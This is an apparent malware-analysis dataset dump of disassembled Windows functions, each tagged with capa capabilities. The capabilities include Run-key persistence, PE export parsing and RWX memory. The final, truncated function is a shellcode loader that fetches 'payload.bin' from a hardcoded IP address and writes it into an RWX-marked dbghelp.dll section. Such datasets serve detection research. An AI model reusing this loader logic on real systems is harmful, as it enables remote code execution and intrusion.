joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401060a0
Capabilities:
Persist via run registry key

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x1401061bf
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov r13, 0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x3f], 0
lea rdx, fcn.14010cba0
mov qword [rsp + 0x50], rdx
mov byte [rsp + 0x3f], 1
lea rax, [0x14016ee66]
mov ebx, 7
call fcn.14009ab60
mov rcx, rbx
lea rdi, [0x140173b1d]
mov esi, 0x16
mov rbx, rax
xor eax, eax
call fcn.14004e320
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
nop dword [rax]
call fcn.140106000
test al, al
jne 0x14010619c
nop
mov rax, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov r8d, 0x1b4
call fcn.14009cfc0
mov eax, 0x80000001
lea rbx, [0x140179f14]
mov ecx, 0x2d
lea rdi, [0x1401731b2]
mov esi, 0x15
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x40]
call fcn.140105c20
xor eax, eax
lea rbx, [0x14017be4e]
mov ecx, 0x4d
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
call fcn.14004e320
call fcn.140105aa0
mov byte [rsp + 0x3f], 0
call fcn.14010cba0
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.140062440
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.1401060a0

Function at 0x140106520
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140106619
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
lea rcx, [rbx + 1]
test rcx, rcx
jle 0x140106605
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp], rcx
nop dword [rax]
call fcn.140106780
xorps xmm15, xmm15
mov r14, qword [0x1402e1550]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x18]
cmp rcx, rdx
mov rbx, rdx
cmovl rdx, rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rbx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x58]
cmp rdi, rsi
jne 0x1401065b3
cmp rcx, rbx
jmp 0x1401065e8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov rax, rsi
mov rbx, rdi
mov rcx, rdx
call fcn.140065460
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x18]
cmp rax, rcx
mov rbx, rcx
mov rsi, qword [rsp + 0x20]
mov rcx, rax
mov rax, qword [rsp + 0x28]
jae 0x1401065f8
mov byte [rsi + rcx], 0
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
mov rax, rcx
mov rcx, rbx
nop
call fcn.140064ac0
lea rax, [0x140149a60]
lea rbx, [0x1401a7d88]
call fcn.140036060
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.140062440
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.140106520
Function at 0x140106f80
Capabilities:
Parse pe header

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140107115
sub rsp, 0x38
mov qword [rsp + 0x30], rbp
lea rbp, [rsp + 0x30]
nop dword [rax + rax]
test rax, rax
je 0x140107109
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rax
mov rcx, rax
mov qword [rsp + 0x28], rax
nop dword [rax + rax]
test rbx, rbx
je 0x140106fdf
nop
lea rdx, [rcx + rbx]
lea rsi, [rcx + 0x40]
cmp rsi, rdx
jbe 0x140106fdf
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
lea rax, [0x14014a860]
call fcn.14000dda0
mov rcx, qword [rsp + 0x40]
mov qword [rax], rcx
mov qword [rax + 8], 0x40
mov rdx, qword [0x14028d670]
mov rbx, rax
mov edi, 2
mov rax, rdx
mov rcx, rdi
call fcn.1400ed2e0
test rax, rax
jne 0x1401070fd
mov rcx, qword [rsp + 0x28]
cmp word [rcx], 0x5a4d
jne 0x1401070f1
mov ecx, dword [rcx + 0x3c]
cmp ecx, 0x400
jg 0x1401070e5
movsxd rcx, ecx
mov rdx, qword [rsp + 0x40]
add rcx, rdx
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rcx
mov rsi, qword [rsp + 0x48]
test rsi, rsi
je 0x14010707b
nop
add rsi, rdx
cmp rdx, 8
ja 0x14010706f
cmp rsi, 0x100
jae 0x14010707b
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
lea rax, [0x14014a860]
call fcn.14000dda0
mov rcx, qword [rsp + 0x20]
mov qword [rax], rcx
mov qword [rax + 8], 0x40
mov rcx, qword [0x14028d670]
mov rbx, rax
mov edi, 2
mov rax, rcx
mov rcx, rdi
call fcn.1400ed2e0
test rax, rax
jne 0x1401070d9
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1401070cf
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
xor eax, eax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
nop
call fcn.140062440
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.140106f80
Function at 0x140107280
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140107345
sub rsp, 0x28
mov qword [rsp + 0x20], rbp
lea rbp, [rsp + 0x20]
nop dword [rax + rax]
cmp ebx, 0x10
jae 0x140107339
mov dword [rsp + 0x38], ebx
mov byte [rsp + 0x3c], cl
mov qword [rsp + 0x10], rax
xor ebx, ebx
call fcn.140106f80
nop dword [rax]
test rax, rax
je 0x14010732d
mov qword [rsp + 0x18], rax
nop
mov rax, qword [rsp + 0x10]
call fcn.140107140
cmp ax, 0x20b
jne 0x1401072f3
mov ecx, dword [rsp + 0x38]
mov ecx, ecx
mov rdx, qword [rsp + 0x18]
lea rcx, [rdx + rcx*8]
lea rcx, [rcx + 0x88]
jmp 0x140107306
mov edx, dword [rsp + 0x38]
mov edx, edx
mov rbx, qword [rsp + 0x18]
lea rcx, [rbx + rdx*8]
lea rcx, [rcx + 0x78]
movzx edx, byte [rsp + 0x3c]
test dl, dl
jne 0x140107314
cmp dword [rcx], 0
je 0x140107321
mov rax, rcx
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
ret
xor eax, eax
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
ret
xor eax, eax
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
ret
xor eax, eax
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
ret
mov qword [rsp + 8], rax
mov dword [rsp + 0x10], ebx
mov byte [rsp + 0x14], cl
call fcn.140062440
mov rax, qword [rsp + 8]
mov ebx, dword [rsp + 0x10]
movzx ecx, byte [rsp + 0x14]
jmp fcn.140107280
Function at 0x1401128f0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14011daa0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14011daa0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140112960
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1402e6014]
mov r12, rcx
test ebx, ebx
jle 0x140112a90
mov rax, qword [0x1402e6018]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1401129ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140112a33
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140112990
mov rcx, r12
call fcn.140113300
mov rsi, rax
test rax, rax
je 0x140112ab2
mov rax, qword [0x1402e6018]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140113430
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1402e6018]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140112a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140112a2c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140112a40
add dword [0x1402e6014], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1402e6018]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140112a2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1401128f0
nop dword [rax]
xor ebx, ebx
jmp 0x1401129b7
mov rax, qword [0x1402e6018]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1401128f0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1401128f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140112f70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1402e6080]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1402e6060]
test rbx, rbx
je 0x140112fc4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140112fbb
test r12, r12
je 0x140112fbb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140112fa0
lea rcx, [0x1402e6080]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140113300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140289240]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140113320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140113328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140113320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140113375
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14011336c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140113320
add rax, 0x28
cmp rax, r9
jne 0x140113358
xor eax, eax
ret

Function at 0x140113380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140289240]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1401133a0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1401133a8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1401133a0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140113430
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140289240]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140113450
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140113458
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140114db0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [str._a._]
mov rax, qword [rsi]
test rax, rax
je 0x140114e40
cmp qword [rax + 0x30], 0
jne 0x140114e60
lea rbx, [0x140139c68]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140114e10
cmp qword [rax + 0x30], 0
jne 0x140114e30
lea rdx, [0x140139c68]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x14011dc30
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140119cb0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140114df2
test rax, rax
jne 0x140114e30
call fcn.140119cb0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140114e00
call fcn.140119cb0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140114dd0
test rax, rax
jne 0x140114e60
call fcn.140119cb0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x140114ddb
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x140114e70
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140114f82
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x140114f5a
add rax, 1
cmp rax, 0x6b
je 0x140114f77
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x140114f50
cmp edx, 0x6a
je 0x140114f77
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x140114f6b
Function at 0x140115990
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [str._a._]
mov rax, qword [rsi]
test rax, rax
je 0x140115b80
cmp qword [rax + 0x28], 0
jne 0x140115b68
lea rcx, [0x1402e6138]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x140115b75
call fcn.140114fa0
mov rax, qword [rsi]
test rax, rax
je 0x140115a10
cmp qword [rax + 0x30], 0
jne 0x140115a30
lea rdx, [0x140139c68]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x140115a44
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.140119cb0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x1401159e0
test rax, rax
jne 0x140115a30
call fcn.140119cb0
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x1401159fe
call fcn.140114ae0
cmp qword [0x1402ea050], 0
mov rbx, rax
je 0x1401159fe
test rax, rax
je 0x1401159fe
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14011bb50
cmp eax, 1
je 0x140115bed
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x14011dc36
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x140115bc8
cmp qword [rax + 0x30], 0
je 0x140115bb0
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14011dc36
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1401159cc
mov rax, qword [rsi]
jmp 0x1401159d9
call fcn.140119cb0
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x1401159b8
test rax, rax
jne 0x140115b68
call fcn.140119cb0
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1401159cc
jmp 0x1401159d1
lea rdx, [0x140139c68]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x140115b3e
call fcn.140119cb0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140115bb0
test rax, rax
jne 0x140115b3a
call fcn.140119cb0
jmp 0x140115b3a
call fcn.140114e70
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [str._a._]
mov rdx, qword [rax]
lea rax, [0x1402e6148]
mov qword [rdx + 0x10], rax
ret
Function at 0x140119b30
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140119b50
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140119b98
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140119b44
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140119b85
Function at 0x140119cb0
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1402e6220]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140119cd3
lea rax, [0x1402e6228]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x140119d1b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140119d18
lea rax, [0x1402e6260]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x140119d4b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140119d48
xor ecx, ecx
mov byte [0x1402e6279], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1402e6282], rdx
lea r8, [0x1402e6220]
lea rbx, [0x1402e627a]
mov qword [0x1402e6292], rdx
mov qword [0x1402e62a2], rdx
mov qword [0x1402e62b2], rdx
xor edx, edx
mov qword [0x1402e627a], rax
mov qword [0x1402e628a], rax
mov qword [0x1402e629a], rax
mov qword [0x1402e62aa], rax
mov byte [0x1402e62ba], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140119f26
lea rcx, [0x1402e6260]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140119e71
lea rsi, [0x1402e6160]
lea r8, [0x1402e62ba]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x140119e1d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140119e10
lea rcx, [0x1402e6260]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140119f13
lea rcx, [0x140119bc0]
mov qword [0x1402e6160], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1402e6160]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x1402e6260]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1402e62ba]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x140119f46
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140119ec3
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140119eb0
mov rax, rdx
mov qword [0x1402e6160], rax
lea rsi, [0x1402e6160]
jmp 0x140119ee9
cmp rdx, rsi
je 0x140119e4f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140119ee0
cmp rdx, rsi
je 0x140119e4f
mov qword [rdx + 8], rsi
lea rcx, [0x140119bc0]
call sub.msvcrt.dll__onexit
jmp 0x140119e4f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.140119b30
xor eax, eax
jmp 0x140119e68
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.140119b30
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.140119b30
xor eax, eax
jmp 0x140119ecf
Function at 0x140598058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405981df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140598089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14059806f
add dl, dl
jne 0x140598096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405980f6
xor eax, eax
add dl, dl
jne 0x1405980a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405981ad
add dl, dl
jne 0x1405980b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405980c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405980d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405980dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405980ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14059807e
mov eax, 1
add dl, dl
jne 0x140598106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140598113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405980fb
sub eax, ebx
mov ebx, 1
jne 0x14059814c
mov ecx, 1
add dl, dl
jne 0x14059812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14059813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140598123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14059807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140598168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140598175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14059815d
cmp eax, 0x7d00
jae 0x14059819b
cmp eax, 0x500
jb 0x140598196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14059807e
cmp eax, 0x7f
ja 0x14059819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14059807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405981d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14059807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
call fcn.140001460
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001a94
xor eax, eax
jmp 0x140001b7d
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.27.124.44.10
lea rcx, [rsp + 0x58]
call fcn.140001570
lea rdi, [rsp + 0x68]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x48]
lea rsi, [rsp + 0x68]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x28]
lea rsi, [rsp + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001b7b
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001b5c
mov rcx, qword [rsp + 0x38]
add rcx, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x38]
add rdi, 0x1000
mov rsi, qword [rsp + 0x28]
